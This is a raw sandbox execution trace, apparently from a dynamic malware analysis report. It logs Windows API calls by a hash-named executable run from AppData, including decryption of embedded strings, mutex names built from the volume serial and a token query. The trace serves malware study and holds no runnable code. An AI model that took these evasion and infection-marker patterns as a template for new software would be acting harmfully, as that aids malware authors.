GetLastError () returned 0x0 [0133.050] SetLastError (dwErrCode=0x0) [0133.050] GetLastError () returned 0x0 [0133.050] SetLastError (dwErrCode=0x0) [0133.050] GetLastError () returned 0x0 [0133.050] SetLastError (dwErrCode=0x0) [0133.050] GetLastError () returned 0x0 [0133.050] SetLastError (dwErrCode=0x0) [0133.050] GetLastError () returned 0x0 [0133.050] SetLastError (dwErrCode=0x0) [0133.050] GetLastError () returned 0x0 [0133.050] SetLastError (dwErrCode=0x0) [0133.050] GetLastError () returned 0x0 [0133.050] SetLastError (dwErrCode=0x0) [0133.050] GetLastError () returned 0x0 [0133.050] SetLastError (dwErrCode=0x0) [0133.050] GetLastError () returned 0x0 [0133.051] SetLastError (dwErrCode=0x0) [0133.051] GetLastError () returned 0x0 [0133.051] SetLastError (dwErrCode=0x0) [0133.051] GetLastError () returned 0x0 [0133.051] SetLastError (dwErrCode=0x0) [0133.051] GetLastError () returned 0x0 [0133.051] SetLastError (dwErrCode=0x0) [0133.051] GetLastError () returned 0x0 [0133.051] SetLastError (dwErrCode=0x0) [0133.051] GetLastError () returned 0x0 [0133.051] SetLastError (dwErrCode=0x0) [0133.051] GetLastError () returned 0x0 [0133.051] SetLastError (dwErrCode=0x0) [0133.051] GetLastError () returned 0x0 [0133.051] SetLastError (dwErrCode=0x0) [0133.051] GetLastError () returned 0x0 [0133.051] SetLastError (dwErrCode=0x0) [0133.051] GetLastError () returned 0x0 [0133.052] SetLastError (dwErrCode=0x0) [0133.052] GetLastError () returned 0x0 [0133.052] SetLastError (dwErrCode=0x0) [0133.052] GetLastError () returned 0x0 [0133.052] SetLastError (dwErrCode=0x0) [0133.052] GetLastError () returned 0x0 [0133.052] SetLastError (dwErrCode=0x0) [0133.052] GetLastError () returned 0x0 [0133.052] SetLastError (dwErrCode=0x0) [0133.052] GetLastError () returned 0x0 [0133.052] SetLastError (dwErrCode=0x0) [0133.052] GetLastError () returned 0x0 [0133.052] SetLastError (dwErrCode=0x0) [0133.052] GetLastError () returned 0x0 [0133.052] SetLastError (dwErrCode=0x0) [0133.052] GetLastError () returned 0x0 [0133.052] SetLastError (dwErrCode=0x0) [0133.052] GetLastError () returned 0x0 [0133.053] SetLastError (dwErrCode=0x0) [0133.053] GetLastError () returned 0x0 [0133.053] SetLastError (dwErrCode=0x0) [0133.053] GetLastError () returned 0x0 [0133.053] SetLastError (dwErrCode=0x0) [0133.053] GetLastError () returned 0x0 [0133.053] SetLastError (dwErrCode=0x0) [0133.053] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x9e) returned 0x2071a08 [0133.053] GetLastError () returned 0x0 [0133.053] SetLastError (dwErrCode=0x0) [0133.053] GetLastError () returned 0x0 [0133.053] SetLastError (dwErrCode=0x0) [0133.053] GetLastError () returned 0x0 [0133.053] SetLastError (dwErrCode=0x0) [0133.053] GetLastError () returned 0x0 [0133.053] SetLastError (dwErrCode=0x0) [0133.053] GetLastError () returned 0x0 [0133.054] SetLastError (dwErrCode=0x0) [0133.054] GetLastError () returned 0x0 [0133.058] SetLastError (dwErrCode=0x0) [0133.058] GetLastError () returned 0x0 [0133.058] SetLastError (dwErrCode=0x0) [0133.058] GetLastError () returned 0x0 [0133.058] SetLastError (dwErrCode=0x0) [0133.058] GetLastError () returned 0x0 [0133.058] SetLastError (dwErrCode=0x0) [0133.058] GetLastError () returned 0x0 [0133.058] SetLastError (dwErrCode=0x0) [0133.058] GetLastError () returned 0x0 [0133.058] SetLastError (dwErrCode=0x0) [0133.058] GetLastError () returned 0x0 [0133.059] SetLastError (dwErrCode=0x0) [0133.059] GetLastError () returned 0x0 [0133.059] SetLastError (dwErrCode=0x0) [0133.059] GetLastError () returned 0x0 [0133.059] SetLastError (dwErrCode=0x0) [0133.059] GetLastError () returned 0x0 [0133.059] SetLastError (dwErrCode=0x0) [0133.059] GetLastError () returned 0x0 [0133.059] SetLastError (dwErrCode=0x0) [0133.059] GetLastError () returned 0x0 [0133.059] SetLastError (dwErrCode=0x0) [0133.059] GetLastError () returned 0x0 [0133.059] SetLastError (dwErrCode=0x0) [0133.059] GetLastError () returned 0x0 [0133.059] SetLastError (dwErrCode=0x0) [0133.059] GetLastError () returned 0x0 [0133.060] SetLastError (dwErrCode=0x0) [0133.060] GetLastError () returned 0x0 [0133.060] SetLastError (dwErrCode=0x0) [0133.060] GetLastError () returned 0x0 [0133.060] SetLastError (dwErrCode=0x0) [0133.060] GetLastError () returned 0x0 [0133.060] SetLastError (dwErrCode=0x0) [0133.060] GetLastError () returned 0x0 [0133.060] SetLastError (dwErrCode=0x0) [0133.060] GetLastError () returned 0x0 [0133.060] SetLastError (dwErrCode=0x0) [0133.060] GetLastError () returned 0x0 [0133.060] SetLastError (dwErrCode=0x0) [0133.060] GetLastError () returned 0x0 [0133.060] SetLastError (dwErrCode=0x0) [0133.060] GetLastError () returned 0x0 [0133.060] SetLastError (dwErrCode=0x0) [0133.060] GetLastError () returned 0x0 [0133.061] SetLastError (dwErrCode=0x0) [0133.061] GetLastError () returned 0x0 [0133.061] SetLastError (dwErrCode=0x0) [0133.061] GetLastError () returned 0x0 [0133.061] SetLastError (dwErrCode=0x0) [0133.061] GetLastError () returned 0x0 [0133.061] SetLastError (dwErrCode=0x0) [0133.061] GetLastError () returned 0x0 [0133.061] SetLastError (dwErrCode=0x0) [0133.061] GetLastError () returned 0x0 [0133.061] SetLastError (dwErrCode=0x0) [0133.061] GetLastError () returned 0x0 [0133.061] SetLastError (dwErrCode=0x0) [0133.061] GetLastError () returned 0x0 [0133.061] SetLastError (dwErrCode=0x0) [0133.061] GetLastError () returned 0x0 [0133.061] SetLastError (dwErrCode=0x0) [0133.061] GetLastError () returned 0x0 [0133.062] SetLastError (dwErrCode=0x0) [0133.062] GetLastError () returned 0x0 [0133.062] SetLastError (dwErrCode=0x0) [0133.062] GetLastError () returned 0x0 [0133.062] SetLastError (dwErrCode=0x0) [0133.062] GetLastError () returned 0x0 [0133.062] SetLastError (dwErrCode=0x0) [0133.062] GetLastError () returned 0x0 [0133.062] SetLastError (dwErrCode=0x0) [0133.062] GetLastError () returned 0x0 [0133.062] SetLastError (dwErrCode=0x0) [0133.062] GetLastError () returned 0x0 [0133.062] SetLastError (dwErrCode=0x0) [0133.062] GetLastError () returned 0x0 [0133.062] SetLastError (dwErrCode=0x0) [0133.062] GetLastError () returned 0x0 [0133.062] SetLastError (dwErrCode=0x0) [0133.062] GetLastError () returned 0x0 [0133.062] SetLastError (dwErrCode=0x0) [0133.062] GetLastError () returned 0x0 [0133.063] SetLastError (dwErrCode=0x0) [0133.063] GetLastError () returned 0x0 [0133.063] SetLastError (dwErrCode=0x0) [0133.063] GetLastError () returned 0x0 [0133.063] SetLastError (dwErrCode=0x0) [0133.063] GetLastError () returned 0x0 [0133.063] SetLastError (dwErrCode=0x0) [0133.063] GetLastError () returned 0x0 [0133.063] SetLastError (dwErrCode=0x0) [0133.063] GetLastError () returned 0x0 [0133.063] SetLastError (dwErrCode=0x0) [0133.063] GetLastError () returned 0x0 [0133.063] SetLastError (dwErrCode=0x0) [0133.063] GetLastError () returned 0x0 [0133.063] SetLastError (dwErrCode=0x0) [0133.063] GetLastError () returned 0x0 [0133.063] SetLastError (dwErrCode=0x0) [0133.063] GetLastError () returned 0x0 [0133.063] SetLastError (dwErrCode=0x0) [0133.063] GetLastError () returned 0x0 [0133.064] SetLastError (dwErrCode=0x0) [0133.064] GetLastError () returned 0x0 [0133.064] SetLastError (dwErrCode=0x0) [0133.064] GetLastError () returned 0x0 [0133.064] SetLastError (dwErrCode=0x0) [0133.064] GetLastError () returned 0x0 [0133.064] SetLastError (dwErrCode=0x0) [0133.064] GetLastError () returned 0x0 [0133.064] SetLastError (dwErrCode=0x0) [0133.064] GetLastError () returned 0x0 [0133.064] SetLastError (dwErrCode=0x0) [0133.064] GetLastError () returned 0x0 [0133.064] SetLastError (dwErrCode=0x0) [0133.064] GetLastError () returned 0x0 [0133.064] SetLastError (dwErrCode=0x0) [0133.064] GetLastError () returned 0x0 [0133.064] SetLastError (dwErrCode=0x0) [0133.064] GetLastError () returned 0x0 [0133.064] SetLastError (dwErrCode=0x0) [0133.064] GetLastError () returned 0x0 [0133.065] SetLastError (dwErrCode=0x0) [0133.065] GetLastError () returned 0x0 [0133.065] SetLastError (dwErrCode=0x0) [0133.065] GetLastError () returned 0x0 [0133.065] SetLastError (dwErrCode=0x0) [0133.065] GetLastError () returned 0x0 [0133.065] SetLastError (dwErrCode=0x0) [0133.065] GetLastError () returned 0x0 [0133.065] SetLastError (dwErrCode=0x0) [0133.065] GetLastError () returned 0x0 [0133.065] SetLastError (dwErrCode=0x0) [0133.065] GetLastError () returned 0x0 [0133.065] SetLastError (dwErrCode=0x0) [0133.065] GetLastError () returned 0x0 [0133.065] SetLastError (dwErrCode=0x0) [0133.065] GetLastError () returned 0x0 [0133.065] SetLastError (dwErrCode=0x0) [0133.065] GetLastError () returned 0x0 [0133.065] SetLastError (dwErrCode=0x0) [0133.065] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.066] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.066] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.066] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.066] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.066] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.066] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.066] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.066] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.066] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.066] GetLastError () returned 0x0 [0133.066] SetLastError (dwErrCode=0x0) [0133.067] GetLastError () returned 0x0 [0133.067] SetLastError (dwErrCode=0x0) [0133.067] GetLastError () returned 0x0 [0133.067] SetLastError (dwErrCode=0x0) [0133.067] GetLastError () returned 0x0 [0133.067] SetLastError (dwErrCode=0x0) [0133.067] GetLastError () returned 0x0 [0133.067] SetLastError (dwErrCode=0x0) [0133.067] GetLastError () returned 0x0 [0133.067] SetLastError (dwErrCode=0x0) [0133.067] GetLastError () returned 0x0 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x9c) returned 0x2071ab0 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x1f) returned 0x2071b58 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x2b) returned 0x2071b80 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x37) returned 0x2071bb8 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x3c) returned 0x2071bf8 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x31) returned 0x2071c40 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x18) returned 0x2071c80 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x24) returned 0x2071ca0 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x14) returned 0x2071cd0 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0xd) returned 0x2071cf0 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x1a) returned 0x2071d08 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x2e) returned 0x2071d30 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x19) returned 0x2071d68 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x17) returned 0x2071d90 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0xe) returned 0x2071db0 [0133.067] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0xce) returned 0x2071dc8 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x3e) returned 0x2071ea0 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x1b) returned 0x2071ee8 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x1d) returned 0x2071f10 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x48) returned 0x2071f38 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x12) returned 0x2071f88 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x18) returned 0x2071fa8 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x1b) returned 0x2071fc8 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x24) returned 0x2071ff0 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x29) returned 0x2072020 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x1e) returned 0x2072058 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x6b) returned 0x2072080 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x17) returned 0x20720f8 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x14) returned 0x2072118 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0xf) returned 0x2072138 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x16) returned 0x2072150 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x2a) returned 0x2072170 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x29) returned 0x20721a8 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x16) returned 0x20721e0 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x13) returned 0x2072200 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x1f) returned 0x2072220 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x12) returned 0x2072248 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x18) returned 0x2072268 [0133.068] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x46) returned 0x2072288 [0133.084] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20711f8 | out: hHeap=0x2070000) returned 1 [0133.084] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0133.084] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x80) returned 0x20711f8 [0133.084] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x3b81f6) returned 0x0 [0133.086] RtlSizeHeap (HeapHandle=0x2070000, Flags=0x0, MemoryPointer=0x20711f8) returned 0x80 [0133.086] GetLastError () returned 0x0 [0133.086] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x30) returned 0x2071280 [0133.086] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x2d40) returned 0x20722d8 [0133.087] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x174) returned 0x20712b8 [0133.087] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x10) returned 0x2071438 [0133.087] CryptAcquireContextW (in: phProv=0x3bfcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x3bfcf0*=0x6852e0) returned 1 [0133.121] CryptImportKey (in: hProv=0x6852e0, pbData=0x1afc38*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afca0 | out: phKey=0x1afca0*=0x685288) returned 1 [0133.121] CryptSetKeyParam (hKey=0x685288, dwParam=0x1, pbData=0x1afc88, dwFlags=0x0) returned 1 [0133.121] CryptDecrypt (in: hKey=0x685288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2071438, pdwDataLen=0x1afc54 | out: pbData=0x2071438, pdwDataLen=0x1afc54) returned 1 [0133.121] CryptDestroyKey (hKey=0x685288) returned 1 [0133.122] GetTickCount () returned 0x779d [0133.122] GetLastError () returned 0x0 [0133.122] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x1afcc4, cchData=32 | out: lpLCData="\x03") returned 16 [0133.123] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x1c) returned 0x2071450 [0133.123] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x1c) returned 0x2071478 [0133.123] GetVersion () returned 0x1db10106 [0133.123] GetCurrentProcess () returned 0xffffffff [0133.123] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x1afcac | out: TokenHandle=0x1afcac*=0x84) returned 1 [0133.123] GetTokenInformation (in: TokenHandle=0x84, TokenInformationClass=0x14, TokenInformation=0x1afca4, TokenInformationLength=0x4, ReturnLength=0x1afca8 | out: TokenInformation=0x1afca4, ReturnLength=0x1afca8) returned 1 [0133.123] CloseHandle (hObject=0x84) returned 1 [0133.123] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x20) returned 0x20714a0 [0133.123] CryptImportKey (in: hProv=0x6852e0, pbData=0x1afba0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc08 | out: phKey=0x1afc08*=0x685288) returned 1 [0133.123] CryptSetKeyParam (hKey=0x685288, dwParam=0x1, pbData=0x1afbf0, dwFlags=0x0) returned 1 [0133.123] CryptDecrypt (in: hKey=0x685288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x20714a0, pdwDataLen=0x1afbbc | out: pbData=0x20714a0, pdwDataLen=0x1afbbc) returned 1 [0133.123] CryptDestroyKey (hKey=0x685288) returned 1 [0133.123] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x1e) returned 0x20714c8 [0133.123] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x1e) returned 0x20714f0 [0133.123] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x90) returned 0x2071518 [0133.123] CryptImportKey (in: hProv=0x6852e0, pbData=0x1afb78*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbe0 | out: phKey=0x1afbe0*=0x685288) returned 1 [0133.123] CryptSetKeyParam (hKey=0x685288, dwParam=0x1, pbData=0x1afbc8, dwFlags=0x0) returned 1 [0133.123] CryptDecrypt (in: hKey=0x685288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2071518, pdwDataLen=0x1afb94 | out: pbData=0x2071518, pdwDataLen=0x1afb94) returned 1 [0133.123] CryptDestroyKey (hKey=0x685288) returned 1 [0133.124] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x2071518 | out: hHeap=0x2070000) returned 1 [0133.124] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x20714c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0133.124] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20714f0 | out: hHeap=0x2070000) returned 1 [0133.124] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20714a0 | out: hHeap=0x2070000) returned 1 [0133.125] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1afc48, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1afc48*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0133.125] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20714c8 | out: hHeap=0x2070000) returned 1 [0133.125] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x40) returned 0x20714a0 [0133.125] CryptImportKey (in: hProv=0x6852e0, pbData=0x1afbd4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc3c | out: phKey=0x1afc3c*=0x685288) returned 1 [0133.125] CryptSetKeyParam (hKey=0x685288, dwParam=0x1, pbData=0x1afc24, dwFlags=0x0) returned 1 [0133.125] CryptDecrypt (in: hKey=0x685288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x20714a0, pdwDataLen=0x1afbf0 | out: pbData=0x20714a0, pdwDataLen=0x1afbf0) returned 1 [0133.125] CryptDestroyKey (hKey=0x685288) returned 1 [0133.125] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x34) returned 0x20714e8 [0133.125] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x0 [0133.125] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\22508443A5AF01") returned 0x88 [0133.125] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0133.126] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20714a0 | out: hHeap=0x2070000) returned 1 [0133.126] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20714e8 | out: hHeap=0x2070000) returned 1 [0133.126] ReleaseMutex (hMutex=0x88) returned 1 [0133.126] CloseHandle (hObject=0x88) returned 1 [0133.126] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x20) returned 0x20714a0 [0133.126] CryptImportKey (in: hProv=0x6852e0, pbData=0x1afbb4*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc1c | out: phKey=0x1afc1c*=0x685288) returned 1 [0133.127] CryptSetKeyParam (hKey=0x685288, dwParam=0x1, pbData=0x1afc04, dwFlags=0x0) returned 1 [0133.127] CryptDecrypt (in: hKey=0x685288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x20714a0, pdwDataLen=0x1afbd0 | out: pbData=0x20714a0, pdwDataLen=0x1afbd0) returned 1 [0133.127] CryptDestroyKey (hKey=0x685288) returned 1 [0133.127] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x1e) returned 0x20714c8 [0133.127] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x1e) returned 0x20714f0 [0133.127] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x90) returned 0x2071518 [0133.127] CryptImportKey (in: hProv=0x6852e0, pbData=0x1afb8c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbf4 | out: phKey=0x1afbf4*=0x685288) returned 1 [0133.127] CryptSetKeyParam (hKey=0x685288, dwParam=0x1, pbData=0x1afbdc, dwFlags=0x0) returned 1 [0133.127] CryptDecrypt (in: hKey=0x685288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2071518, pdwDataLen=0x1afba8 | out: pbData=0x2071518, pdwDataLen=0x1afba8) returned 1 [0133.127] CryptDestroyKey (hKey=0x685288) returned 1 [0133.127] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x2071518 | out: hHeap=0x2070000) returned 1 [0133.127] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x20714c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0133.127] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20714f0 | out: hHeap=0x2070000) returned 1 [0133.128] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20714a0 | out: hHeap=0x2070000) returned 1 [0133.128] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1afc5c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1afc5c*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0133.128] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20714c8 | out: hHeap=0x2070000) returned 1 [0133.128] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x0, Size=0x40) returned 0x20714a0 [0133.128] CryptImportKey (in: hProv=0x6852e0, pbData=0x1afbe8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc50 | out: phKey=0x1afc50*=0x685288) returned 1 [0133.128] CryptSetKeyParam (hKey=0x685288, dwParam=0x1, pbData=0x1afc38, dwFlags=0x0) returned 1 [0133.128] CryptDecrypt (in: hKey=0x685288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x20714a0, pdwDataLen=0x1afc04 | out: pbData=0x20714a0, pdwDataLen=0x1afc04) returned 1 [0133.128] CryptDestroyKey (hKey=0x685288) returned 1 [0133.128] RtlAllocateHeap (HeapHandle=0x2070000, Flags=0x8, Size=0x34) returned 0x20714e8 [0133.128] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x88 [0133.129] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0133.129] CloseHandle (hObject=0x88) returned 1 [0133.129] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20714a0 | out: hHeap=0x2070000) returned 1 [0133.130] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20714e8 | out: hHeap=0x2070000) returned 1 [0133.130] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x2071450 | out: hHeap=0x2070000) returned 1 [0133.130] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x2071478 | out: hHeap=0x2070000) returned 1 [0133.130] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x2071438 | out: hHeap=0x2070000) returned 1 [0133.130] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20712b8 | out: hHeap=0x2070000) returned 1 [0133.131] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20722d8 | out: hHeap=0x2070000) returned 1 [0133.131] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x2071280 | out: hHeap=0x2070000) returned 1 [0133.132] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0 [0133.132] ExitProcess (uExitCode=0x0) [0133.133] HeapFree (in: hHeap=0x2070000, dwFlags=0x0, lpMem=0x20707d0 | out: hHeap=0x2070000) returned 1 Process: id = "14" image_name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" page_root = "0x7a00e000" os_pid = "0x768" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x754" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fcb1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3260 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3261 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3262 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3263 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3264 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3265 start_va = 0x130000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3266 start_va = 0x190000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3267 start_va = 0xad0000 end_va = 0xae4fff monitored = 1 entry_point = 0xad6652 region_type = mapped_file name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = 